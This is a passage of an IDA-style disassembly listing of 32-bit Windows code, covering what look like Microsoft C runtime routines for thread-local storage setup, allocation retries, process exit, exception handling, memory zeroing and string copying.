call esi ; TlsGetValue
call eax
mov edi, eax
loc_41216D: ; CODE XREF: sub_412136+23j
pop esi
loc_41216E: ; CODE XREF: sub_412136+10j
push 0
push dword_4231B8
push dword_4243A8
call sub_411DBF
pop ecx
call eax
push edi
call sub_412015
pop edi
loc_41218B: ; CODE XREF: sub_412136+7j
mov eax, dword_4231BC
cmp eax, 0FFFFFFFFh
jz short locret_41219E
push 0
push eax
call dword_41C148 ; TlsSetValue
locret_41219E: ; CODE XREF: sub_412136+5Dj
retn
sub_412136 endp
; =============== S U B R O U T I N E =======================================
sub_41219F proc near ; CODE XREF: sub_4107B2:loc_4106B5p
push edi
push offset aKernel32_dll_0 ; "KERNEL32.DLL"
call dword_41C0C4 ; GetModuleHandleA
mov edi, eax
test edi, edi
jnz short loc_4121BA
call sub_411E89
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_4121BA: ; CODE XREF: sub_41219F+10j
push esi
mov esi, dword_41C0AC
push offset aFlsalloc ; "FlsAlloc"
push edi
call esi ; GetProcAddress
push offset aFlsgetvalue ; "FlsGetValue"
push edi
mov dword_4243A0, eax
call esi ; GetProcAddress
push offset aFlssetvalue ; "FlsSetValue"
push edi
mov dword_4243A4, eax
call esi ; GetProcAddress
push offset aFlsfree ; "FlsFree"
push edi
mov dword_4243A8, eax
call esi ; GetProcAddress
cmp dword_4243A0, 0
mov esi, dword_41C148
mov dword_4243AC, eax
jz short loc_41221A
cmp dword_4243A4, 0
jz short loc_41221A
cmp dword_4243A8, 0
jz short loc_41221A
test eax, eax
jnz short loc_41223E
loc_41221A: ; CODE XREF: sub_41219F+63j
; sub_41219F+6Cj ...
mov eax, dword_41C140
mov dword_4243A4, eax
mov eax, dword_41C14C
mov dword_4243A0, offset sub_411E22
mov dword_4243A8, esi
mov dword_4243AC, eax
loc_41223E: ; CODE XREF: sub_41219F+79j
call dword_41C144 ; TlsAlloc
cmp eax, 0FFFFFFFFh
mov dword_4231BC, eax
jz loc_41231E
push dword_4243A4
push eax
call esi ; TlsSetValue
test eax, eax
jz loc_41231E
call sub_412755
push dword_4243A0
call sub_411D53
push dword_4243A4
mov dword_4243A0, eax
call sub_411D53
push dword_4243A8
mov dword_4243A4, eax
call sub_411D53
push dword_4243AC
mov dword_4243A8, eax
call sub_411D53
add esp, 10h
mov dword_4243AC, eax
call sub_416C30
test eax, eax
jz short loc_412319
push offset sub_412015
push dword_4243A0
call sub_411DBF
pop ecx
call eax ; TlsFree
cmp eax, 0FFFFFFFFh
mov dword_4231B8, eax
jz short loc_412319
push 214h
push 1
call sub_412363
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_412319
push esi
push dword_4231B8
push dword_4243A8
call sub_411DBF
pop ecx
call eax ; TlsFree
test eax, eax
jz short loc_412319
push 0
push esi
call sub_411EC6
pop ecx
pop ecx
call dword_41C120 ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
xor eax, eax
inc eax
jmp short loc_412320
; ---------------------------------------------------------------------------
loc_412319: ; CODE XREF: sub_41219F+113j
; sub_41219F+130j ...
call sub_411E89
loc_41231E: ; CODE XREF: sub_41219F+ADj
; sub_41219F+BEj
xor eax, eax
loc_412320: ; CODE XREF: sub_41219F+178j
pop esi
pop edi
retn
sub_41219F endp
; =============== S U B R O U T I N E =======================================
sub_412323 proc near ; CODE XREF: sub_4113BB+5D0p
; sub_4130CA+3Bp ...
arg_0 = dword ptr 4
push esi
push edi
xor esi, esi
loc_412327: ; CODE XREF: sub_412323+39j
push [esp+8+arg_0]
call sub_411069
mov edi, eax
test edi, edi
pop ecx
jnz short loc_41235E
cmp dword_4243B0, eax
jbe short loc_41235E
push esi
call dword_41C090 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_4243B0
jbe short loc_412357
or eax, 0FFFFFFFFh
loc_412357: ; CODE XREF: sub_412323+2Fj
cmp eax, 0FFFFFFFFh
mov esi, eax
jnz short loc_412327
loc_41235E: ; CODE XREF: sub_412323+12j
; sub_412323+1Aj
mov eax, edi
pop edi
pop esi
retn
sub_412323 endp
; =============== S U B R O U T I N E =======================================
sub_412363 proc near ; CODE XREF: sub_40DB55+5p
; sub_40F6FC+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
xor esi, esi
loc_412367: ; CODE XREF: sub_412363+41j
push 0
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_417D65
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_4123A6
cmp dword_4243B0, eax
jbe short loc_4123A6
push esi
call dword_41C090 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_4243B0
jbe short loc_41239F
or eax, 0FFFFFFFFh
loc_41239F: ; CODE XREF: sub_412363+37j
cmp eax, 0FFFFFFFFh
mov esi, eax
jnz short loc_412367
loc_4123A6: ; CODE XREF: sub_412363+1Aj
; sub_412363+22j
mov eax, edi
pop edi
pop esi
retn
sub_412363 endp
; =============== S U B R O U T I N E =======================================
sub_4123AB proc near ; CODE XREF: sub_40DAA8+58p
; sub_40DAA8+6Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
xor esi, esi
loc_4123AF: ; CODE XREF: sub_4123AB+44j
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_417E83
mov edi, eax
test edi, edi
pop ecx
pop ecx
jnz short loc_4123F1
cmp [esp+8+arg_4], eax
jz short loc_4123F1
cmp dword_4243B0, eax
jbe short loc_4123F1
push esi
call dword_41C090 ; Sleep
lea eax, [esi+3E8h]
cmp eax, dword_4243B0
jbe short loc_4123EA
or eax, 0FFFFFFFFh
loc_4123EA: ; CODE XREF: sub_4123AB+3Aj
cmp eax, 0FFFFFFFFh
mov esi, eax
jnz short loc_4123AF
loc_4123F1: ; CODE XREF: sub_4123AB+17j
; sub_4123AB+1Dj ...
mov eax, edi
pop edi
pop esi
retn
sub_4123AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4123F6 proc near ; CODE XREF: sub_40DAA8+36p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_41F9D0
call __SEH_prolog4
xor eax, eax
mov ebx, [ebp+arg_0]
xor edi, edi
cmp ebx, edi
setnz al
cmp eax, edi
jnz short loc_41242F
call sub_40F79E
mov dword ptr [eax], 16h
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_412482
; ---------------------------------------------------------------------------
loc_41242F: ; CODE XREF: sub_4123F6+1Aj
cmp dword_424EC4, 3
jnz short loc_412470
push 4
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], edi
push ebx
call sub_416E1F
pop ecx
mov [ebp+var_20], eax
cmp eax, edi
jz short loc_41245C
mov esi, [ebx-4]
sub esi, 9
mov [ebp+var_1C], esi
jmp short loc_41245F
; ---------------------------------------------------------------------------
loc_41245C: ; CODE XREF: sub_4123F6+59j
mov esi, [ebp+var_1C]
loc_41245F: ; CODE XREF: sub_4123F6+64j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_412490
cmp [ebp+var_20], edi
jnz short loc_412480
loc_412470: ; CODE XREF: sub_4123F6+40j
push ebx
push edi
push dword_42487C
call dword_41C15C ; RtlSizeHeap
mov esi, eax
loc_412480: ; CODE XREF: sub_4123F6+78j
mov eax, esi
loc_412482: ; CODE XREF: sub_4123F6+37j
call __SEH_epilog4
retn
sub_4123F6 endp
; =============== S U B R O U T I N E =======================================
sub_412488 proc near ; DATA XREF: .vty:0041F9E8o
xor edi, edi
mov ebx, [ebp+8]
mov esi, [ebp-1Ch]
sub_412488 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412490 proc near ; CODE XREF: sub_4123F6+70p
push 4
call sub_416CCE
pop ecx
retn
sub_412490 endp
; =============== S U B R O U T I N E =======================================
sub_412499 proc near ; CODE XREF: sub_4107B2-D9p
; sub_4107B2-B3p ...
arg_0 = dword ptr 4
call sub_4143CC
push [esp+arg_0]
call sub_41422C
push dword_4231C0
call sub_411DBF
push 0FFh
call eax ; TlsFree
add esp, 0Ch
retn
sub_412499 endp
; =============== S U B R O U T I N E =======================================
sub_4124BD proc near ; CODE XREF: sub_4124E3+4p
arg_0 = dword ptr 4
push offset aMscoree_dll ; "mscoree.dll"
call dword_41C0C4 ; GetModuleHandleA
test eax, eax
jz short locret_4124E2
push offset aCorexitprocess ; "CorExitProcess"
push eax
call dword_41C0AC ; GetProcAddress
test eax, eax
jz short locret_4124E2
push [esp+arg_0]
call eax ; TlsFree
locret_4124E2: ; CODE XREF: sub_4124BD+Dj
; sub_4124BD+1Dj
retn
sub_4124BD endp
; =============== S U B R O U T I N E =======================================
sub_4124E3 proc near ; CODE XREF: sub_41056D+1Cp
; sub_411069+34p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4124BD
pop ecx
push [esp+arg_0]
call dword_41C100 ; ExitProcess
int 3 ; Trap to Debugger
sub_4124E3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4124F8 proc near ; CODE XREF: sub_40DB84+Cp
push 8
call sub_416DA6
pop ecx
retn
sub_4124F8 endp
; =============== S U B R O U T I N E =======================================
sub_412501 proc near ; CODE XREF: sub_40DBBAp
push 8
call sub_416CCE
pop ecx
retn
sub_412501 endp
; =============== S U B R O U T I N E =======================================
sub_41250A proc near ; CODE XREF: sub_412647+78p
; sub_412647+88p
arg_0 = dword ptr 4
push esi
mov esi, eax
jmp short loc_41251A
; ---------------------------------------------------------------------------
loc_41250F: ; CODE XREF: sub_41250A+14j
mov eax, [esi]
test eax, eax
jz short loc_412517
call eax ; TlsFree
loc_412517: ; CODE XREF: sub_41250A+9j
add esi, 4
loc_41251A: ; CODE XREF: sub_41250A+3j
cmp esi, [esp+4+arg_0]
jb short loc_41250F
pop esi
retn
sub_41250A endp
; =============== S U B R O U T I N E =======================================
sub_412522 proc near ; CODE XREF: sub_4125B5+32p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
xor eax, eax
jmp short loc_41253A
; ---------------------------------------------------------------------------
loc_41252B: ; CODE XREF: sub_412522+1Cj
test eax, eax
jnz short loc_412540
mov ecx, [esi]
test ecx, ecx
jz short loc_412537
call ecx
loc_412537: ; CODE XREF: sub_412522+11j
add esi, 4
loc_41253A: ; CODE XREF: sub_412522+7j
cmp esi, [esp+4+arg_4]
jb short loc_41252B
loc_412540: ; CODE XREF: sub_412522+Bj
pop esi
retn
sub_412522 endp
; =============== S U B R O U T I N E =======================================
sub_412542 proc near ; CODE XREF: sub_415BC4+12p
; sub_4182CC+27p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
cmp ecx, esi
jnz short loc_41256A
loc_41254D: ; CODE XREF: sub_412542+2Fj
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
push 16h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41256A: ; CODE XREF: sub_412542+9j
mov eax, dword_4243B8
cmp eax, esi
jz short loc_41254D
mov [ecx], eax
xor eax, eax
pop esi
retn
sub_412542 endp
; =============== S U B R O U T I N E =======================================
sub_412579 proc near ; CODE XREF: sub_415BC4+2Dp
; sub_419937+11Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_4125A1
loc_412584: ; CODE XREF: sub_412579+2Ej
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
push 16h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125A1: ; CODE XREF: sub_412579+9j
cmp dword_4243B8, esi
jz short loc_412584
mov ecx, dword_4243C4
mov [eax], ecx
xor eax, eax
pop esi
retn
sub_412579 endp
; =============== S U B R O U T I N E =======================================
sub_4125B5 proc near ; CODE XREF: sub_4107B2-9Bp
arg_0 = dword ptr 4
cmp dword_426020, 0
jz short loc_4125D8
push offset dword_426020
call sub_4152A2
test eax, eax
pop ecx
jz short loc_4125D8
push [esp+arg_0]
call dword_426020
pop ecx
loc_4125D8: ; CODE XREF: sub_4125B5+7j
; sub_4125B5+16j
call sub_417B14
push offset dword_41C244
push offset dword_41C228
call sub_412522
test eax, eax
pop ecx
pop ecx
jnz short locret_412646
push esi
push edi
push offset sub_415BA0
call sub_40DBC0
mov esi, offset dword_41C220
mov eax, esi
mov edi, offset dword_41C224
cmp eax, edi
pop ecx
jnb short loc_41261E
loc_41260F: ; CODE XREF: sub_4125B5+67j
mov eax, [esi]
test eax, eax
jz short loc_412617
call eax
loc_412617: ; CODE XREF: sub_4125B5+5Ej
add esi, 4
cmp esi, edi
jb short loc_41260F
loc_41261E: ; CODE XREF: sub_4125B5+58j
cmp dword_426024, 0
pop edi
pop esi
jz short loc_412644
push offset dword_426024
call sub_4152A2
test eax, eax
pop ecx
jz short loc_412644
push 0
push 2
push 0
call dword_426024
loc_412644: ; CODE XREF: sub_4125B5+72j
; sub_4125B5+81j
xor eax, eax
locret_412646: ; CODE XREF: sub_4125B5+3Bj
retn
sub_4125B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412647 proc near ; CODE XREF: sub_412715+8p
; sub_412726+8p ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0041270F SIZE 00000006 BYTES
push 0Ch
push offset dword_41F9F0
call __SEH_prolog4
push 8
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
xor esi, esi
inc esi
cmp dword_4243F8, esi
jz short loc_4126D5
mov dword_4243F4, esi
mov al, byte ptr [ebp+arg_8]
mov byte_4243F0, al
cmp [ebp+arg_4], 0
jnz short loc_4126C5
push dword_426018
call sub_411DBF
mov edi, eax
push dword_426014
call sub_411DBF
pop ecx
pop ecx
mov [ebp+var_1C], eax
test edi, edi
jz short loc_4126B5
loc_41269F: ; CODE XREF: sub_412647+68j
; sub_412647+6Cj
sub [ebp+var_1C], 4
cmp [ebp+var_1C], edi
jb short loc_4126B5
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_41269F
call eax
jmp short loc_41269F
; ---------------------------------------------------------------------------
loc_4126B5: ; CODE XREF: sub_412647+56j
; sub_412647+5Fj
push offset dword_41C254
mov eax, offset dword_41C248
call sub_41250A
pop ecx
loc_4126C5: ; CODE XREF: sub_412647+35j
push offset dword_41C260
mov eax, offset dword_41C258
call sub_41250A
pop ecx
loc_4126D5: ; CODE XREF: sub_412647+21j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_412700
cmp [ebp+arg_8], 0
jnz short loc_41270F
mov dword_4243F8, esi
push 8
call sub_416CCE
pop ecx
push [ebp+arg_0]
call sub_4124E3
loc_4126FD: ; DATA XREF: .vty:0041FA08o
xor esi, esi
inc esi
sub_412647 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412700 proc near ; CODE XREF: sub_412647+95p
cmp dword ptr [ebp+10h], 0
jz short locret_41270E
push 8
call sub_416CCE
pop ecx
locret_41270E: ; CODE XREF: sub_412700+4j
retn
sub_412700 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_412647
loc_41270F: ; CODE XREF: sub_412647+9Ej
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_412647
; =============== S U B R O U T I N E =======================================
sub_412715 proc near ; CODE XREF: sub_4107B2-5Fp
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_412647
add esp, 0Ch
retn
sub_412715 endp
; =============== S U B R O U T I N E =======================================
sub_412726 proc near ; CODE XREF: .vty:00410439p
; .vty:00410783p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_412647
add esp, 0Ch
retn
sub_412726 endp
; =============== S U B R O U T I N E =======================================
sub_412737 proc near ; CODE XREF: sub_4107B2:loc_410758p
push 1
push 0
push 0
call sub_412647
add esp, 0Ch
retn
sub_412737 endp
; =============== S U B R O U T I N E =======================================
sub_412746 proc near ; CODE XREF: .vty:loc_410788p
push 1
push 1
push 0
call sub_412647
add esp, 0Ch
retn
sub_412746 endp
; =============== S U B R O U T I N E =======================================
sub_412755 proc near ; CODE XREF: sub_41219F+C4p
push esi
call sub_411DB6
mov esi, eax
push esi
call sub_412B08
push esi
call sub_4182B2
push esi
call sub_40DBD2
push esi
call sub_414405
push esi
call sub_4182A8
push esi
call sub_41809E
push esi
call nullsub_1
push esi
call sub_416ACB
push offset sub_412726
call sub_411D53
add esp, 24h
mov dword_4231C0, eax
pop esi
retn
sub_412755 endp
; ---------------------------------------------------------------------------
align 4
; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_412800 proc near ; DATA XREF: __SEH_prolog4o
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 004140D1 SIZE 00000019 BYTES
sub esp, 14h
push ebx
mov ebx, [esp+18h+arg_4]
push ebp
push esi
mov esi, [ebx+8]
xor esi, dword_4231C4
push edi
mov eax, [esi]
cmp eax, 0FFFFFFFEh
mov [esp+24h+var_11], 0
mov [esp+24h+var_C], 1
lea edi, [ebx+10h]
jz short loc_412838
mov ecx, [esi+4]
add ecx, edi
xor ecx, [eax+edi]
call sub_410BCD
loc_412838: ; CODE XREF: sub_412800+29j
mov ecx, [esi+0Ch]
mov eax, [esi+8]
add ecx, edi
xor ecx, [eax+edi]
call sub_410BCD
mov eax, [esp+24h+arg_0]
test byte ptr [eax+4], 66h
jnz loc_412975
mov ebp, [ebx+0Ch]
cmp ebp, 0FFFFFFFEh
mov ecx, [esp+24h+arg_8]
lea edx, [esp+24h+var_8]
mov [esp+24h+var_8], eax
mov [esp+24h+var_4], ecx
mov [ebx-4], edx
jz short loc_4128CF
loc_412871: ; CODE XREF: sub_412800+A2j
lea eax, [ebp+ebp*2+0]
mov ecx, [esi+eax*4+14h]
test ecx, ecx
lea ebx, [esi+eax*4+10h]
mov eax, [ebx]
mov [esp+24h+var_10], eax
jz short loc_41289D
mov edx, edi
call sub_4140BA
test eax, eax
mov [esp+24h+var_11], 1
jl short loc_4128DB
jg short loc_4128E5
mov eax, [esp+24h+var_10]
loc_41289D: ; CODE XREF: sub_412800+85j
cmp eax, 0FFFFFFFEh
mov ebp, eax
jnz short loc_412871
cmp [esp+24h+var_11], 0
jz short loc_4128CF
loc_4128AB: ; CODE XREF: sub_412800+E3j
; sub_412800+191j
mov eax, [esi]
cmp eax, 0FFFFFFFEh
jz short loc_4128BF
mov ecx, [esi+4]
add ecx, edi
xor ecx, [eax+edi]
call sub_410BCD
loc_4128BF: ; CODE XREF: sub_412800+B0j
mov ecx, [esi+0Ch]
mov eax, [esi+8]
add ecx, edi
xor ecx, [eax+edi]
call sub_410BCD
loc_4128CF: ; CODE XREF: sub_412800+6Fj
; sub_412800+A9j ...
mov eax, [esp+24h+var_C]
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_4128DB: ; CODE XREF: sub_412800+95j
mov [esp+24h+var_C], 0
jmp short loc_4128AB
; ---------------------------------------------------------------------------
loc_4128E5: ; CODE XREF: sub_412800+97j
mov ecx, [esp+24h+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_41291B
cmp off_41CDFC, 0
jz short loc_41291B
push offset off_41CDFC
call sub_4152A2
add esp, 4
test eax, eax
jz short loc_41291B
mov edx, [esp+24h+arg_0]
push 1
push edx
call off_41CDFC
add esp, 8
loc_41291B: ; CODE XREF: sub_412800+EFj
; sub_412800+F8j ...
mov ecx, [esp+24h+arg_4]
call sub_4140EA
mov eax, [esp+24h+arg_4]
cmp [eax+0Ch], ebp
jz short loc_412940
push offset dword_4231C4
push edi
mov edx, ebp
mov ecx, eax
call sub_414104
mov eax, [esp+24h+arg_4]
loc_412940: ; CODE XREF: sub_412800+12Bj
mov ecx, [esp+24h+var_10]
mov [eax+0Ch], ecx
mov eax, [esi]
cmp eax, 0FFFFFFFEh
jz short loc_41295B
mov ecx, [esi+4]
add ecx, edi
xor ecx, [eax+edi]
call sub_410BCD
loc_41295B: ; CODE XREF: sub_412800+14Cj
mov ecx, [esi+0Ch]
mov edx, [esi+8]
add ecx, edi
xor ecx, [edx+edi]
call sub_410BCD
mov ecx, [ebx+8]
mov edx, edi
jmp loc_4140D1
; ---------------------------------------------------------------------------
loc_412975: ; CODE XREF: sub_412800+50j
cmp dword ptr [ebx+0Ch], 0FFFFFFFEh
jz loc_4128CF
push offset dword_4231C4
push edi
mov ecx, ebx
mov edx, 0FFFFFFFEh
call sub_414104
jmp loc_4128AB
sub_412800 endp
; =============== S U B R O U T I N E =======================================
sub_412996 proc near ; CODE XREF: sub_40DBDC+CEp
; sub_40DCD8+18p ...
and dword_42600C, 0
retn
sub_412996 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41299E proc near ; CODE XREF: sub_4129F5+31p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4
mov [ebp+var_4], edi
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
shr ecx, 7
pxor xmm0, xmm0
jmp short loc_4129BE
; ---------------------------------------------------------------------------
db 8Dh, 0A4h, 24h, 4 dup(0)
align 2
loc_4129BE: ; CODE XREF: sub_41299E+16j
; sub_41299E+4Ej
movdqa oword ptr [edi], xmm0
movdqa oword ptr [edi+10h], xmm0
movdqa oword ptr [edi+20h], xmm0
movdqa oword ptr [edi+30h], xmm0
movdqa oword ptr [edi+40h], xmm0
movdqa oword ptr [edi+50h], xmm0
movdqa oword ptr [edi+60h], xmm0
movdqa oword ptr [edi+70h], xmm0
lea edi, [edi+80h]
dec ecx
jnz short loc_4129BE
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41299E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129F5 proc near ; CODE XREF: sub_40DD10+27j
; sub_4129F5+7Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_4], edi
mov eax, [ebp+arg_0]
cdq
mov edi, eax
xor edi, edx
sub edi, edx
and edi, 0Fh
xor edi, edx
sub edi, edx
test edi, edi
jnz short loc_412A4F
mov ecx, [ebp+arg_8]
mov edx, ecx
and edx, 7Fh
mov [ebp+var_C], edx
cmp ecx, edx
jz short loc_412A34
sub ecx, edx
push ecx
push eax
call sub_41299E
add esp, 8
mov eax, [ebp+arg_0]
mov edx, [ebp+var_C]
loc_412A34: ; CODE XREF: sub_4129F5+2Bj
test edx, edx
jz short loc_412A7D
add eax, [ebp+arg_8]
sub eax, edx
mov [ebp+var_8], eax
xor eax, eax
mov edi, [ebp+var_8]
mov ecx, [ebp+var_C]
rep stosb
mov eax, [ebp+arg_0]
jmp short loc_412A7D
; ---------------------------------------------------------------------------
loc_412A4F: ; CODE XREF: sub_4129F5+1Cj
neg edi
add edi, 10h
mov [ebp+var_10], edi
xor eax, eax
mov edi, [ebp+arg_0]
mov ecx, [ebp+var_10]
rep stosb
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
add ecx, eax
sub edx, eax
push edx
push 0
push ecx
call sub_4129F5
add esp, 0Ch
mov eax, [ebp+arg_0]
loc_412A7D: ; CODE XREF: sub_4129F5+41j
; sub_4129F5+58j
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4129F5 endp
; =============== S U B R O U T I N E =======================================
sub_412A84 proc near ; DATA XREF: .vty:0041C230o
and dword_426004, 0
call sub_4183E1
mov dword_426004, eax
xor eax, eax
retn
sub_412A84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A98 proc near ; CODE XREF: sub_40DE0A+7p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_41FA10
call __SEH_prolog4
push 0Eh
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_0]
mov ecx, [esi+4]
test ecx, ecx
jz short loc_412AE9
mov eax, dword_424400
mov edx, offset dword_4243FC
loc_412AC4: ; CODE XREF: sub_412A98+65j
mov [ebp+var_1C], eax
test eax, eax
jz short loc_412ADC
cmp [eax], ecx
jnz short loc_412AFB
mov ecx, [eax+4]
mov [edx+4], ecx
push eax
call sub_41112C
pop ecx
loc_412ADC: ; CODE XREF: sub_412A98+31j
push dword ptr [esi+4]
call sub_41112C
pop ecx
and dword ptr [esi+4], 0
loc_412AE9: ; CODE XREF: sub_412A98+20j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_412AFF
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_412AFB: ; CODE XREF: sub_412A98+35j
mov edx, eax
jmp short loc_412AC4
sub_412A98 endp
; =============== S U B R O U T I N E =======================================
sub_412AFF proc near ; CODE XREF: sub_412A98+58p
push 0Eh
call sub_416CCE
pop ecx
retn
sub_412AFF endp
; =============== S U B R O U T I N E =======================================
sub_412B08 proc near ; CODE XREF: sub_412755+9p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_424404, eax
retn
sub_412B08 endp
; =============== S U B R O U T I N E =======================================
sub_412B12 proc near ; CODE XREF: sub_40DE68+Bp
; sub_411069+8Cp ...
arg_0 = dword ptr 4
push dword_424404
call sub_411DBF
test eax, eax
pop ecx
jz short loc_412B31
push [esp+arg_0]
call eax ; sub_41AEA1
test eax, eax
pop ecx
jz short loc_412B31
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_412B31: ; CODE XREF: sub_412B12+Ej
; sub_412B12+19j
xor eax, eax
retn
sub_412B12 endp
; =============== S U B R O U T I N E =======================================
sub_412B34 proc near ; CODE XREF: sub_40F6D9+9p
; sub_40F6D9:loc_40F6EBp
mov eax, offset dword_423280
retn
sub_412B34 endp
; =============== S U B R O U T I N E =======================================
sub_412B3A proc near ; CODE XREF: sub_40F6D9:loc_40F6F2p
mov eax, offset off_4231D0
retn
sub_412B3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B40 proc near ; CODE XREF: sub_41422C+F1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp [ebp+arg_C], ebx
push edi
jnz short loc_412B60
cmp esi, ebx
jnz short loc_412B64
cmp [ebp+arg_4], ebx
jnz short loc_412B6B
loc_412B59: ; CODE XREF: sub_412B40+4Dj
; sub_412B40+8Cj
xor eax, eax
loc_412B5B: ; CODE XREF: sub_412B40+44j
; sub_412B40+9Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412B60: ; CODE XREF: sub_412B40+Ej
cmp esi, ebx
jz short loc_412B6B
loc_412B64: ; CODE XREF: sub_412B40+12j
mov edi, [ebp+arg_4]
cmp edi, ebx
ja short loc_412B86
loc_412B6B: ; CODE XREF: sub_412B40+17j
; sub_412B40+22j ...
call sub_40F79E
push 16h
pop esi
mov [eax], esi
loc_412B75: ; CODE XREF: sub_412B40+B1j
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DCD8
add esp, 14h
mov eax, esi
jmp short loc_412B5B
; ---------------------------------------------------------------------------
loc_412B86: ; CODE XREF: sub_412B40+29j
cmp [ebp+arg_C], ebx
jnz short loc_412B8F
mov [esi], bl
jmp short loc_412B59
; ---------------------------------------------------------------------------
loc_412B8F: ; CODE XREF: sub_412B40+49j
mov edx, [ebp+arg_8]
cmp edx, ebx
jnz short loc_412B9A
mov [esi], bl
jmp short loc_412B6B
; ---------------------------------------------------------------------------
loc_412B9A: ; CODE XREF: sub_412B40+54j
cmp [ebp+arg_C], 0FFFFFFFFh
mov eax, esi
jnz short loc_412BB1
loc_412BA2: ; CODE XREF: sub_412B40+6Dj
mov cl, [edx]
mov [eax], cl
inc eax
inc edx
cmp cl, bl
jz short loc_412BCA
dec edi
jnz short loc_412BA2
jmp short loc_412BCA
; ---------------------------------------------------------------------------
loc_412BB1: ; CODE XREF: sub_412B40+60j
; sub_412B40+81j
mov cl, [edx]
mov [eax], cl
inc eax
inc edx
cmp cl, bl
jz short loc_412BC3
dec edi
jz short loc_412BC3
dec [ebp+arg_C]
jnz short loc_412BB1
loc_412BC3: ; CODE XREF: sub_412B40+79j
; sub_412B40+7Cj
cmp [ebp+arg_C], ebx
jnz short loc_412BCA
mov [eax], bl
loc_412BCA: ; CODE XREF: sub_412B40+6Aj
; sub_412B40+6Fj ...
cmp edi, ebx
jnz short loc_412B59
cmp [ebp+arg_C], 0FFFFFFFFh
jnz short loc_412BE3
